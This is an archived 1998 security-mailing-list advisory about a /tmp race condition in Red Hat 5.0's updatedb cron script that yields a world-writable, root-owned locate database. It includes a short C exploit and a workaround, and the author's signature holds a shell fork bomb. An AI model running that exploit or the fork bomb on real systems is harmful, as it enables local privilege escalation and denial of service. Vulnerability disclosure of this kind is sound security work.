Another TMPfile problem in updatedb script

Summary
Description:updatedb creates a tmp file in /tmp, moves it to /var/lib/locatedb, then chowns it to root. The race condition is clear.
Author:Michal Zalewski <lcamtuf@BOSS.STASZIC.WAW.PL>
Compromise: root (local)
Vulnerable Systems:RedHat 5.0, perhaps other systems such as FreeBSD using updatedb.
Date:6 March 1998
Details


Date: Fri, 6 Mar 1998 20:44:47 +0100
From: Michal Zalewski <lcamtuf@BOSS.STASZIC.WAW.PL>
To: BUGTRAQ@NETSPACE.ORG
Subject: "patched" updatedb with RH 5.0 - root compromise

    [The following text is in the "iso-8859-2" character set]
    [Your display is set for the "US-ASCII" character set]
    [Some characters may be displayed incorrectly]

As an addendum to updatedb/sort bug - there's another vunerability
in this program. On my RH 5.0 it's launched every day from crontab's
script as nobody. Unfortunately, that setuid trick doesn't fix
anything. /etc/cron.daily/updatedb.cron (as root) creates temporary
file in /tmp using mktemp:

TMPFILE=`/bin/mktemp /tmp/locatedb.XXXXXX`
chown nobody.nobody $TMPFILE

That's mostly harmless. But after all, /usr/bin/updatedb is launched
via su -c. Hopefully, it will create /tmp/locatedb.XXXXXX.n file, but
there's no any error checking... Script simply moves that output file
(without checking permission nor ownership) to /var/lib/locatedb:

if [ -f $TMPFILE.n ] ; then
SFILE=$TMPFILE.n
[...]
mv $SFILE /var/lib/locatedb [...]
chown root.root /var/lib/locatedb [...]

Because this script is running as root (!) and it's extremally
unsafe, you may perform simple tricky race condition. Here's simple
so-called "exploit":

--
#include <dirent.h>
#define STR "locatedb"
char buf[1024];
int infect(struct dirent *s) {
  if ((strncmp(STR,s->d_name,strlen(STR))!=0)) return -1;
  sprintf(buf,"touch %s.n",s->d_name);
  system(buf);
  exit(0);
  return -1;
}
int foo(struct dirent **a,struct dirent **b) {}
int main(int argc, char* argv[])
{
  struct dirent **x;
  chdir("/tmp");
  umask(0);
  while (1) scandir("/tmp",&x,infect,foo);
}
--

Simple as only it can be. Our file (in this case empty one
has been moved to /var/lib/locatedb... Hey, but permissions
were NOT changed (666). So not we have an world-writable,
root-owned file. Nice. But that's not all. Try filling it
with junk (eg. a lot of 0s), then run 'locate' utility...
It will cause segmentation fault. It's probably exploitable,
and root/other users privledges may be compromised. Hopefully.

Fix:

There's no simple fix. Bug is in updatedb itself (and it's
file creation method). Updatedb "protected" by very foolish
script... You may try changing /tmp to something more
private inside the script, but it's only a workaround.

_______________________________________________________________________
Michał Zalewski [tel 9690] | finger 4 PGP [lcamtuf@boss.staszic.waw.pl]
Iterować jest rzeczą ludzką, wykonywać rekursywnie - boską [P. Deustch]
=--------------- [ echo "\$0&\$0">_;chmod +x _;./_ ] -----------------=

More Exploits!

The master index of all exploits is available here (Very large file)
Or you can pick your favorite operating system:
All OS's Linux Solaris/SunOS Micro$oft
*BSD Macintosh AIX IRIX
ULTRIX/Digital UNIX HP/UX SCO Remote exploits

This page is part of Fyodor's exploit world. For a free program to automate scanning your network for vulnerable hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resources: